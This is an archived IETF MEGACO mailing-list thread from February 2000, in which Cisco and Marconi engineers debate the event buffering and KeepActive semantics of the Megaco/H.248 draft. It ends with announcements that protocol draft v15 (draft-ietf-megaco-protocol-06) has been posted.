> > > > > of events sitting in the FIFO queue, and installs a new
> > > > > Events Descriptor.
> > > > >
> > > > > The processes are illustrated in pseudo-code below
> > > > >
> > > > > Process 1: Event Detection
> > > > > ===================
> > > > > do {
> > > > > 
> > > > > if < event in current Events Descriptor> then   /* current
> > > > > Events Descriptor
> > > > > */
> > > > >   
> > > > >  else
> > > > >   
> > > > > } forever
> > > > The buffering process does not always buffer events.  In most
> > >
> > > Like I said, one way of viewing the procedure is the way I
> > > describe it. This is
> > > classic producer-consumer problem we are looking at here.
> > >
> > >
> > > >
> > > > cases, it immediately Notifies.  The decision process is:
> > > >         If EventBuffering is On,
> > > >                 If no events have been detected
> > > >                         ; the first event is
> immediately processed
> > > >                         If it is in Events Descriptor
> > > >                                 Notify immediately
> > > >                         Else
> > > >                                 discard
> > > >                 Else
> > > >                         If it is in EventBuffer Descriptor
> > > >                                 place in the buffer
> > > >                         Else
> > > >                                 discard
> > > >         Else
> > > >                 If the event is in Events Descriptor
> > > >                         Notify immediately
> > > >                 Else
> > > >                         discard
> > > >
> > > > To be really precise, it's possible that an event will occur
> > > > while another event is being processed when
> EventBuffering is Off,
> > > > and you could consider the second event in some kind of buffer.
> > >
> > > > I personally wouldn't - if it made it before I finished
> the Notify,
> > >
> > > > I'd add it to the Notify in process.  If it was after,
> I'd just hold
> > > > off processing it until I was done.
> > >
> > > That's not what the current text specifies, so if this is the
> > > behavior you want
> > > the text should be changed accordingly.
> > >
> > >
> > > >
> > > >
> > > >
> > > > >
> > > > > Process 2: Event Processing
> > > > > ===================
> > > > > do {
> > > > >  < wait for event in event buffer>
> > > > >  < remove first event from event buffer>
> > > > >  if  then {
> > > > >   Notify(event)
> > > > >   if  (Eventbuffer = "on") then  /* current Events
> Descriptor */
> > > > >    
> > > > >  }
> > > > > } forever
> > > > I'd say this process doesn't exist
> > >
> > > Depends on how you look at it. Like I said, this is one way
> > > of looking at it. It
> > > achieves precisely the same as your algorithm above
> > >
> > > >
> > > >
> > > > > Process 3: New Event Descriptor
> > > > > =======================
> > > > > if    /* new EventsDescritpr */
> > > > >  
> > > > > 
> > > > This is incorrect.  The first part is correct (clear
> eventBuffer if
> > > > EventBuffering is off).  The second part is:
> > > >   Else
> > > >         While EventBuffer has any events
> > > >                 If Event is in new Events Descriptor
> > > >                         Notify this event
> > > >                         Exit loop
> > > >                 Else
> > > >                         discard
> > > >         End Loop
> > >
> > > No. Take another look at process 2, which is my consumer
> > > process. The effect is
> > > precisly what you have specified, however all of these are
> > > really besides the
> > > point.
> > >
> > > >
> > > >
> > > > >
> > > > > Unfortunately, this mechanism suffers from some drawbacks,
> > > > > especially when
> > > > > compared to the mechanism that was specified in TD-58 after
> > > > > the Red Bank
> > > > > meeting:
> > > > >
> > > > > 1. Events to be detected in process 1 are always determined
> > > > > by the current
> > > > > Events Descriptor. This is an unfortunate restriction
> > > which may prevent
> > > > > detection of events that arrive more rapidly than the
> round-trip +
> > > > > processing time. For example, an application may initially
> > > > > wish to detect
> > > > > seizure, and subsequently detect a wink or unseizure. Unless
> > > > > all events are
> > > > > requested at the same time (which would effectively prevent
> > > > > glare detection)
> > > > > detection of all these events could not be guaranteed.
> > > > This is incorrect, there are two masks -- Events Descriptor and
> > > > BufferedEvents Descriptor.  The former determines what
> is notified,
> > > > the latter determines what is buffered.
> > >
> > > You're right. I believe it would be preferable to determine
> > > events to be
> > > detected based on the union of Events Descriptor and
> > > BufferedEvents Descriptor
> > > though.
> > >
> > > >
> > > >
> > > > Seizure would be Events Descriptor, Unseizure and wink would be
> > > > in BufferedEvents Descriptor.  Alternatively, you could use an
> > > > embedded Events Descriptor.
> > >
> > > For this specific case - maybe. It is not a general solution
> > > to the problem
> > > though (BufferedEvents Descriptor on the other hand is).
> > >
> > > >
> > > >
> > > > > What is needed, is an extra parameter to specify what events
> > > > > to detect (as
> > > > > opposed to process) during event buffering. Preferably, this
> > > > > set of events
> > > > > would be determined based on the union of this parameter and
> > > > > the current
> > > > > Events Descriptor.
> > > > As specified, we "detect" (I would say buffer) events in
> > > > BufferedEvents, and we "process" (I would say Notify) events in
> > > > Events Descriptor.  We could specify that detect is based on the
> > > > union of BufferedEvents and Events, but it's a little late for
> > > > optimizations (if it really is what we want, I would think not).
> > > >
> > > > >
> > > > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > > > shall normally
> > > > > only be one outstanding Notify per termination. A queue of
> > > > > Notify to be sent
> > > > > may consequently build up at the sender side thereby
> > > > > - Incurring event delivery delay when the event arrival rate
> > > > > exceeds the
> > > > > MG-MGC roundtrip time.
> > > > > - Limiting the average event arrival rate to the MG-MGC
> > > > > roundtrip time (best
> > > > > case).
> > > > This may be true if EventBuffering is On, but is not true if
> > > > EventBuffering is off.  In the latter case, events are
> Notified as
> > > > they are detected, and no response from the MGC is required.
> > >
> > > That is completely inconsistent with the current text.
> > > Section 9.1 specifies
> > > that:
> > >
> > >     "On a given Termination, there should normally be at most
> > > one outstanding
> > > Notify command at any time.  The RequestId parameter should
> > > be used to correlate
> > > Notify commands with the triggering notification request."
> > >
> > > What you are suggesting is that we just send the Notify's as
> > > fast as we can. The
> > > problem with this is that you cannot guarantee in-order
> > > (delivery of these
> > > messages) which means we no longer have event ordering in
> the system.
> > >
> > > >
> > > > In the former case, this is precisely what is required.
> > > The point of
> > > > buffering events is that once an event is detected, the
> MG doesn't
> > > > know what the MGC wants next; it has to wait to be
> told.  Meanwhile,
> > > > it buffers events the MGC told it it MIGHT want to see.
> > > When it gets
> > > > a new event descriptor, it can send ONE event, but then it
> > > is back in
> > > > the same state - what does the MGC want to do next?
> > >
> > > We are in absolute agreement here. One underlying "problem"
> > > however is that the
> > > MGC will only be able to request a single event. With the
> > > TD-58 solution you
> > > could have requested a whole sequence of events potentially.
> > >
> > > >
> > > >
> > > > Note that this condition should be very rare - events
> > > happen at human
> > > > speed in most cases, and computers are fast.  Even in
> large trunk
> > > > gateways, the MGC better be able to keep up with the
> event stream by
> > > > a whole lot more than a round trip time!
> > >
> > > That is a very dangerous assumption which even now doesn't
> > > hold. Think about
> > > auto-dialers, MF trunking, etc. Events happen a lot faster
> > > than human speed
> > > (which is why you added digit maps). Do you feel confident in
> > > assuming that this
> > > is the only case where this is needed ?
> > >
> > > As for your second point about MGC being able to keep up with
> > > event arrival
> > > rates significantly below network round trip time we are in
> > > complete agreement,
> > > and that is precisely my point. Your mechanism has an
> > > inherent rate limitation
> > > built into it, and that rate limiation is based on the
> > > network round-trip time
> > > for every thing where you don't apply some special mechanism
> > > (like digit maps).
> > > This mechanism is basic and belongs in the base protocol!
> > >
> > >
> > > >
> > > >
> > > > > TD-58 from Red Bank did not have this limitation. First of
> > > > > all, the MGC had
> > > > > the various "accumulate" actions that were designed to
> > > > > prevent this problem
> > > > > and limit bandwidth and CPU overhead.
> > > > It had a per event decision of Notify, Accumulate or process by
> > > > digitmap.  We have all of those.
> > >
> > > Then I've misunderstood something. Where do you have
> accumulate now ?
> > >
> > > >
> > > >
> > > > >Secondly, (assuming
> > > > > MGCP semantics) it
> > > > > would be possible for the MG to try and empty the EventBuffer
> > > > > in a single
> > > > > message based on the current Events Descriptor (arguably, a
> > > > > parameter to
> > > > > explicitly allow/disallow this behavior would be beneficial).
> > > > No one has ever described a scenario where it was once
> > > unacceptable to send
> > > > all events, but something occurs which makes it possible to
> > > send all events
> > > > in the buffer.  This seems unlikely
> > > >         Either the MGC is able to run it's own state machine and
> > > >                 it can handle events whenever they are detected
> > > >         OR
> > > >         The MGC has a simplistic view, and can only
> deal with the MG
> > > >                 and itself being in lockstep
> > > >
> > >
> > > You are making dangerous assumptions again. Experience has
> > > taught me that proper
> > > design rather than current perception and imagination is by
> > > far the better
> > > approach.
> > >
> > >
> > > >
> > > > >
> > > > > 3. There is a dual use of the Eventbuffer parameter which is
> > > > > unfortunate.
> > > > > Following a Notify where the Eventbuffer was "on", there is
> > > > > no way for the
> > > > > MGC to subsequently request that
> > > > > a) All the currently buffered events should be processed
> > > > > b) Future events should not be buffered events but simply
> > > > > sent immediately
> > > > This is the same as above.  Somehow, the MGC couldn't handle all
> > > > events, and now it can.  How can this be?
> > > > I would be willing, I suppose, to allow this (that is,
> have some way
> > > > to empty the Event Buffer by Notify rather than just
> clearing it),
> > > > but no one has been able to come up with a really interesting
> > > > case where the MG flips EventBuffering on and off.  I
> expect it will
> > > > set it one way and leave it.
> > >
> > > Same comment as above. I would much prefer proper design
> > > instead assumptions
> > > which may or may not hold down the road.
> > >
> > > >
> > > >
> > > > Please cite an interesting case where some events should be
> > > buffered,
> > > > but there comes an event where the buffer should be sent all at
> > > > once (and where it is unacceptable to send the events as they
> > > > are detected).
> > >
> > > Same comment as above.
> > >
> > >
> > > >
> > > >
> > > > > A simple solution to this problem would be to separate the
> > > > > parameter into
> > > > > two, which is precisely what the BufferedEventProcessingMode
> > > > > in TD-58 did.
> > > > Covered above, although no one could ever precisely explain
> > > to those of us
> > > > who sat through countless hours of discussion and email
> > > what the 4 states of
> > > > two variables were used for.
> > > >
> > >
> > > I disagree. Experience will tell us who is right. With my
> > > approch we can't
> > > loose, with yours we certainly can.
> > >
> > > >
> > > > >
> > > > >
> > > > > Finally, from a design perspective, the above solution
> > > contains some
> > > > > fundamentally undesirable properties. Most problematic is the
> > > > > hard-coded
> > > > > Notify of events which effectively provides a stimulus based
> > > > > approach to
> > > > > event handling with none or little future support for
> > > scripting. It
> > > > > effectively prevents us from taking advantage of more
> powerful and
> > > > > sophisticated MGs that are able to do some amount of
> > > local processing
> > > > > thereby
> > > > > - reducing bandwidth requirements
> > > > > - reducing MGC processing requirements (and complexity)
> > > > > - improves responsiveness as the network round-trip does
> > > not become a
> > > > > bottleneck
> > > > > Opponents to this point of view may claim, that packages with
> > > > > new events,
> > > > > signals, and properties can be defined that effectively
> > > > > achieve the above,
> > > > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > > > indeed the case
> > > > > (and there are valid use cases for such), the point that
> > > > > needs to be made,
> > > > > is that the mechanisms are basic and of such high value that
> > > > > they should be
> > > > > supported natively rather than only by higher level
> > > > > mechanisms which may or
> > > > > may not be able to interact with each other. Consider for
> > > example the
> > > > > current DTMF detection scheme. As a consequence of the higher
> > > > > layer approach
> > > > > taken, it is not able to report incoming DTMF digits and
> > > > > other inter-twined
> > > > > events in the correct order, since the DTMF detection
> > > > > mechanism must itself
> > > > > be exactly one event (digit map completion). Another
> > > example is the
> > > > > interaction with signal interruption, e.g. dial-tone.
> > > Again, special
> > > > > consideration (define it to take place on the first digit) is
> > > > > needed to
> > > > > achieve the desired behavior although the event really has
> > > > > not occurred yet.
> > > > Scripting is, as you know, a version 2 problem.
> > > Presumably, scripting need
> > > > not limit itself to the same view of events, or more
> > > precisely, it would
> > > > probably handle event detection as they occurred, and
> > > generate Notifies (if
> > > > appropriate), whenever the script decided to.  I would
> > > allow scripts to run
> > > > on detection, allow them to put events in the buffer, and
> > > allow them to run
> > > > on Notify (which would include allowing the Notify script
> > > to paw through the
> > > > buffer).
> > >
> > > Yes I know. What you are telling me know, is that yes, the
> > > current event
> > > handling mechanism is probably not adequate for scripting and
> > > you would do
> > > something special, e.g. not perform the hard-coded Notify we
> > > saw above. What
> > > about interaction between different schemes, consistency,
> > > ease of understanding,
> > > etc. This looks very flaky to me and that is precisely my point.
> > >
> > >
> > > >
> > > > > Such requirements for special treatment and consideration
> > > are simply
> > > > > evidence of lack of generality that should not show up at
> > > > > this stage. The
> > > > > solution specified in TD-58 from Red Bank did not suffer
> > > from these
> > > > > drawbacks.
> > > > Disagree as per above
> > >
> > > You are going to have to explain the drawbacks of TD-58 to
> > > me. I have now
> > > offered you drawbacks with the v14 scheme. Considering that I
> > > have not seen you
> > > (or anyone else for that matter) explain any kind of
> > > drawbacks with the TD-58
> > > scheme and that I have shown several drawbacks with the v14
> > > scheme, I think it
> > > is your turn to explain the problems with TD-58 now. You have
> > > been very adament
> > > about not making changes without any good reason, so I would
> > > like to see that
> > > same rule applied to TD-58.
> > >
> > >
> > >
> > > >
> > > > >
> > > > > Some additional comments below
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > Coming out of Red Bank there was NO consensus on Events,
> > > > > > there was in fact wide disagreement on events.
> Coming out of
> > > > > > Washington, there was NO consensus on events, there
> was in fact
> > > > > > wide disagreement on events.  The proposal we have
> in V13 was
> > > > > > an attempt to fix what people saw as problems in the event
> > > > > > mechanism.
> > > > > >
> > > > > > In Red Bank, no one could explain how the MGCP
> mechanism works.
> > > > > > In Washington, several people attempted to explain
> how it works
> > > > > > (Christian Huitema was not there for that session).
>  Today in
> > > > > > fact, I'll bet you if you ask 10 people who claim they
> > > understand
> > > > > > how the MGCP mechanism works, you would get several answers,
> > > > > > although I would grant you that there is not a lot
> of variation
> > > > > > in the implementations.  The V13 mechanism was not
> > > comprehensible
> > > > > > to anyone in the design meetings in Washington or Red Bank.
> > > > >
> > > > > If understanding the MGCP mechanism is the real problem, then
> > > > > I'm sure we
> > > > > can get the right people to clarify. Having spent a lot of
> > > > > time on this
> > > > > (admittedly confusing) aspect myself, I can certainly
> > > offer my help if
> > > > > needed. As for a general lack of understanding of the
> > > > > mechanism I think you
> > > > > are exagerating. There may be small details here and
> > > there that people
> > > > > interpret differently, but I bet you any mechanism you
> > > > > specify will suffer
> > > > > from this, including yours.
> > > >
> > > > Flemming, there are a core of about 5 people who sat
> and argued and
> > > > questioned and puzzled about the MGCP mechanism over two
> > > IETF meetings, the
> > > > Red Bank meeting and the email list.  Check the archives -
> > > there are lots of
> > > > messages that attempt to explain how the MGCP mechanism
> > > works.  No two
> > > > people agreed.  I asked 4 people who said they were part of
> > > implementation
> > > > teams.  They all explained it differently, although it
> > > seems that they
> > > > implemented it close to the same thing.  I believe the MGCP
> > > text is poorly
> > > > written, poorly understood.  AND, even when people more or
> > > less explained
> > > > how it worked, they were totally unable to explain how you
> > > would use it.
> > >
> > > I'm not talking about MGCP, I'm talking about TD-58. You are
> > > the editor and have
> > > done an outstanding job under some very different
> > > circumstances. If there is
> > > text that needs clarification, well then clarify it, don't
> > > scratch the mechanism
> > > and rewrite it from scratch.
> > >
> > > What if I ask you to explain how multimedia and streams work
> > > and whether they
> > > are indeed adequate for what we want to do. I bet you will
> > > have a very tough
> > > time (I know since you've stated your concerns on this issue
> > > several times)
> > > doing that, but that doesn't meen you just rewrite it, right ?
> > >
> > > In any case, we are drifting away from the technical points,
> > > which is what I
> > > want to focus on. Bottom line is, that I strongly believe the
> > > TD-58 scheme was
> > > better than what we now have in v14. Based on all of the
> > > above and in the
> > > absence of you explaining any problems with the TD-58
> mechanism and
> > > demonstrating advantages with the v14 mechanism, I must again
> > > ask for the text
> > > to be brough back in accordance with the outcome of the Red
> > > Bank meeting. If
> > > not, we have a significant change, and no consensus....
> > >
> > >
> > > >
> > > >
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > I still have never been given any semblance of a reason why
> > > > > > the variables in the MGCP exist, and what you do with them.
> > > > > > I can, and have, provided same for the current
> > > mechanism.  So far
> > > > > > we have not, save the confusion over the
> digitmap/keep active
> > > > > > confusion, found a problem.
> > > > >
> > > > > If you can be more specific I will do my best to try
> and explain.
> > > > >
> > > > > >
> > > > > >
> > > > > > So far, I have found people who want the MGC to
> sort out events,
> > > > > > and they want them as fast as the MG finds them.  I
> also found
> > > > > > people who want a simple state machine, with the MG
> and MGC in
> > > > > > lock step over what should happen.  We cater to
> both of those.
> > > > > > You seem to want something in between, something
> where the MG
> > > > > > has more knowledge about what the MGC wants, and when
> > > it wants it
> > > > > > than I can figure out.  I can't understand how anything
> > > in between
> > > > > > gimme all of them, and gimme the next one can work; please
> > > > > > enlighten me.
> > > > >
> > > > > Scripting! It comes in many shapes and forms (although not as
> > > > > many and not
> > > > > as powerful as you might want right now). You have
> > > already defined one
> > > > > yourself; digit maps. What accumulate, etc. gives you is
> > > essential the
> > > > > foundation to build on here. It can even be used natively in
> > > > > some cases,
> > > > > e.g. for MF trunking if you so desire.
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen
> [mailto:fandreasen@worldnet.att.net]
> > > > > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > >
> > > > > > >
> > > > > > > Hi Brian
> > > > > > >
> > > > > > > Some comments below
> > > > > > >
> > > > > > > Regards
> > > > > > >
> > > > > > >             Flemming
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > We have just had a discussion on this issue, and I
> > > believe it
> > > > > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > > > > of dtmf detection, but is otherwise the same as
> > > individual dtmf
> > > > > > > > events being enabled.  By that definition,
> > > KeepActive works the
> > > > > > > > way you wanted it; without it, signals stop with
> > > first detected
> > > > > > > > digit.  With it, signals continue while digits
> are detected.
> > > > > > > > So your IVR app would specify KeepActive on the
> > > > > digitmap completion
> > > > > > > > event, and use an embedded signal to turn it off if you
> > > > > wanted to.
> > > > > > > > The old mechanism doesn't work any differently; if you
> > > > > had specified
> > > > > > > > keepactive on the digits, whether or not they were
> > > accumulate by
> > > > > > > > digitmap actions, you still would not be able to treat
> > > > > the initial
> > > > > > > > digit differently from the terminating digit.  The
> > > only way you
> > > > > > > > could make this better would be to have the
> > > digitmap completion
> > > > > > > > event entirely separate from the dtmf detection
> > > events, so you
> > > > > > > > could have KeepActive separately on the digits from the
> > > > > completion.
> > > > > > > > I think embedded signals is a better answer, but I'm on
> > > > > record as
> > > > > > > > thinking that digitmaps should be a package and
> not a basic
> > > > > > > > protocol.
> > > > > > > >
> > > > > > > > I'll deal with any problems we still have with the
> > > current text,
> > > > > > > > but a "everything changed" complaint without a problem
> > > > > is a no-op.
> > > > > > >
> > > > > > > I beg to differ. A change without a problem is
> > > > > > > counterproductive and what
> > > > > > > gets into these situations. We had something
> perfectly fine
> > > > > > > after the Red
> > > > > > > Bank meeting which for some reason was changed. Exactly
> > > > > *what* was the
> > > > > > > problem that prompted this massive change (I'll spare you
> > > > > the ITU-T
> > > > > > > procedural arguments here). If there were no compelling
> > > > > > > reasons, then I
> > > > > > > suggest that the text is simply brought back in
> line with the
> > > > > > > agreement from
> > > > > > > Red Bank, and then we can close this (big) one
> and move along.
> > > > > > >
> > > > > > > If you really want to, we can start a debate about the
> > > > > > > relative merits,
> > > > > > > trade-offs, and shortcomings of one scheme versus
> the other.
> > > > > > > A couple of
> > > > > > > topics off the top of my head
> > > > > > > - Reduced number of messages and resultant reduced load
> > > > > on network and
> > > > > > > entities
> > > > > > > - Effective event arrival rate not limited by MGC-MG
> > > > > round-trip time
> > > > > > > - Support for scripting
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > brian
> > > > > > > >
> > > > > > > > > -----Original Message-----
> > > > > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >I think the primary need here is for
> clarifying text in
> > > > > > > > > section 7.1.14
> > > > > > > > > >indicating that events mapped into a digit map do
> > > > > not generate
> > > > > > > > > >notifications, but do terminate ongoing signals
> > > unless the
> > > > > > > > > KeepActive flag
> > > > > > > > > >is set.
> > > > > > > > > Not really. The fundamental problem is the
> > > complete rework of
> > > > > > > > > the agreed
> > > > > > > > > upon event handling mechanism that for some
> > > reason was done
> > > > > > > > > after the Red
> > > > > > > > > Bank meeting.
> > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > > > > 25, 2000 7:43
> > > > > > > > > >PM  To:
> MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > > > > >   Cisco SG16:
> > > > > > > > > >Keep Active
> > > > > > > > > >
> > > > > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > > > > >table  Category:       Technical  Issue:
> > >  The draft
> > > > > > > > > text specifies
> > > > > > > > > >that "KeepActive:      As Notify, but
> > > production of signals
> > > > > > > > > continues (if
> > > > > > > > > >any signals were active)".The above
> definition is overly
> > > > > > > > > restrictive in
> > > > > > > > > >that it prevents events from being  accumulated
> > > (either with
> > > > > > > > > or without
> > > > > > > > > >digit map) and at the same time keeping  a
> signal active.
> > > > > > > > > For example an
> > > > > > > > > >IVR application accumulating a string of
> user input and
> > > > > > > playing an
> > > > > > > > > >announcement until the entire string is
> > > accumulated cannot
> > > > > > > > > be supported
> > > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > > recommended, that
> > > > > > > > > >"KeepActive" does not generate a "Notify"
> and that it
> > > > > > > > > becomes possible to
> > > > > > > > > >specify multiple actions such that
> "KeepActive" can be
> > > > > > > > > combined with,
> > > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > > the particular
> > > > > > > > > >application.
> > > > > > > > > >
> > > > > > > > > >v13 Status:     OPEN. Event actions table has been
> > > > > removed and
> > > > > > > > > >extensive  modification of entire event processing
> > > > > taken place.
> > > > > > > > > >
> > > > > > > > > >Section:        7.1.9  Category:
> Technical  Issue:
> > > > > > >          The
> > > > > > > > > >draft text specifies that "When KeepActive
> is specified
> > > > > > > as the  event
> > > > > > > > > >action, the media gateway shall send a Notify
> > > message to the
> > > > > > > > >  controller
> > > > > > > > > >upon detection of the event. Furthermore,
> the controller
> > > > > > > shall  not
> > > > > > > > > >interrupt any signals active on the
> Termination on which
> > > > > > > the event
> > > > > > > > > >is  detected" The above definition is overly
> restrictive
> > > > > > > in that it
> > > > > > > > > >prevents  events from being accumulated
> (either with or
> > > > > > > > > without digit map)
> > > > > > > > > >and at the  same time keeping a signal active. For
> > > > > example an IVR
> > > > > > > > > >application  accumulating a string of user input and
> > > > > playing an
> > > > > > > > > >announcement until the  entire string is
> > > accumulated cannot
> > > > > > > > > be supported
> > > > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > > > recommended, that
> > > > > > > > > >"KeepActive" does not generate a "Notify"
> and that it
> > > > > > > > > becomes possible to
> > > > > > > > > >specify multiple actions such that
> "KeepActive" can be
> > > > > > > > > combined with,
> > > > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > > > the particular
> > > > > > > > > >application.
> > > > > > > > > >
> > > > > > > > > >v13 Status:     OPEN. Extensive
> modifications of event
> > > > > > > handling has
> > > > > > > > > >taken  place. Events now always reported
> immediately on
> > > > > > > detection.
> > > > > > > > >
> > > > > > > > > Support NetAid!  http://www.netaid.org
> > > > > > > > > --------------------------------------------------
> > > > > > > > > Chip Sharp                 Consulting Engineering
> > > > > > > > > Cisco Systems              Telco Bio-region
> > > > > > > > > Reality - Love it or Leave it.
> > > > > > > > > --------------------------------------------------
> > > > > > > > >
> > > > > > >
> > > > > > > --
> > > > > > > ---------------------------------------
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > > ---------------------------------------
> > > > > > >
> > > > > > >
> > > > >
> > > > > Regards
> > > > >
> > > > >         Flemming
> > > > >
> > > > > --
> > > > > ---------------------------------------
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > > ---------------------------------------
> > > > >
> > > > >
> > >
> > > Regards
> > >
> > >         Flemming
> > > -
> > > ---------------------------------------
> > > Flemming Andreasen
> > > Cisco Systems
> > > ---------------------------------------
> > >
> > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 16:22:14 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11478
	for ; Tue, 8 Feb 2000 16:22:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.342344E0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 16:18:58 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32821 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 16:17:48 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.0A48B330@standards.nortelnetworks.com>; Tue, 8 Feb 2000
          16:17:48 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 8 Feb 2000 15:19:54 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Tue, 8
          Feb 2000 16:19:50 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1QNDPJPF>; Tue, 8 Feb 2000 15:19:49 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF727A.3B02EDCC"
Message-ID:  
Date:         Tue, 8 Feb 2000 15:19:46 -0600
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: Last Call
X-To:         "brosen@fore.com" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF727A.3B02EDCC
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have now posted draft-ietf-megaco-protocol-06.txt to=20

ftp://standards.nortelnetworks.com/megaco/docs/latest

The differences between v14 and v15 are (I expect) those outlined in =
Tom's
email Feb 7/2000 with subject:=20
"Updates Submitted To ITU Based On Issue Scorecard". You can see the =
changes
by looking at the doc or pdf file.

Nancy
------------------------------------------------------------------------=
--
Nancy M. Greene=20
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Rosen, Brian[SMTP:brosen@fore.com]
> Sent:         Tuesday, February 08, 2000 3:37 PM
> To:   'internet-drafts@ietf.org'
> Cc:   Greene, Nancy-M [CAR:5N40:EXCH]; Taylor, Tom-PT [CAR:B904:EXCH];
> 'John Segers (E-mail)'
> Subject:      draft-ietf-megaco-protocol-06
>=20
> <>
> Please find attached an update of the Megaco protocol draft:
>=20
> This draft is a work item of the Megaco WG.
> =20
> =20
> Title: MEGACO Protocol=20
> =20
> Author(s) : F. Cuervo, B. Hill, N. Greene, C. Huitema, A. Ryahan, B.
> Rosen,
> J. Segers
> Filename : draft-ietf-megaco-protocol-06.txt
> Pages : 147
> Date : 08-Feb-2000=20
>=20
> Abstract:
> MEGACO defines the protocols used between elements of a physically
> decomposed multimedia Gateway consisting of a Media Gateway and a =
Media
> Gateway Controller.  There are no functional differences from a =
system
> view between a decomposed gateway, with distributed sub- components
> potentially on more than one physical device, and a monolithic =
gateway.
> This document does not define how gateways, multipoint control units =
or
> integrated voice response units (IVRs) work.  Instead it creates a =
gen-
> eral framework that is suitable for these applications.
>=20
> Packet network interfaces may include IP, ATM or possibly others.  =
The
> interfaces will support a variety of SCN signaling systems, including
> tone signaling, ISDN, ISUP, QSIG, and GSM. National variants of these
> signaling systems will be supported where applicable.
>=20
> The protocol definition in this document is common text with ITU =
Recom-
> mendation H.248.
> =20
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com=20
>=20
>=20
------------------------------------------------------------------------=
--
Nancy M. Greene=20
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Greene, Nancy-M [CAR:5N40:EXCH]
> Sent:         Tuesday, February 08, 2000 11:10 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Last Call
>=20
> After posting, I noticed that the I-D name in v15 should say
> draft-ietf-megaco-protocol-06.txt, so I have just uploaded the files =
again
> with this change. The I-D itself, draft-ietf-megaco-protocol-06.txt,
> should be ready later today, and on the IETF ftp site within a day or =
two.
>=20
> Nancy=20
> =
------------------------------------------------------------------------=
--
>=20
> Nancy M. Greene=20
> Internet & Service Provider Networks, Nortel Networks=20
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com=20
>=20
>       ----------=20
> From: =A0 Greene, Nancy-M [CAR:5N40:EXCH]=20
> Sent: =A0 Tuesday, February 08, 2000 10:47 AM=20
> To: =A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM=20
> Subject: =A0=A0=A0=A0=A0=A0 Re: Last Call=20
>=20
>       v15 is available at:=20
>=20
>       ftp://standards.nortelnetworks.com/megaco/docs/latest=20
>=20
>       file names:=20
>=20
>       MegacoH248v15.doc=20
> MegacoH248v15doc.zip=20
> MegacoH248v15.PDF=20
>=20
>       It has change bars against v14. v14 is
> draft-ietf-megaco-protocol-05.txt .=20
>=20
>       Note that v14, v13, v12 are still available if you want to look at
> them. They are in=20
> ftp://standards.nortelnetworks.com/megaco/docs/Adelaide2000=20
>=20
>       Nancy=20
> =
------------------------------------------------------------------------=
--
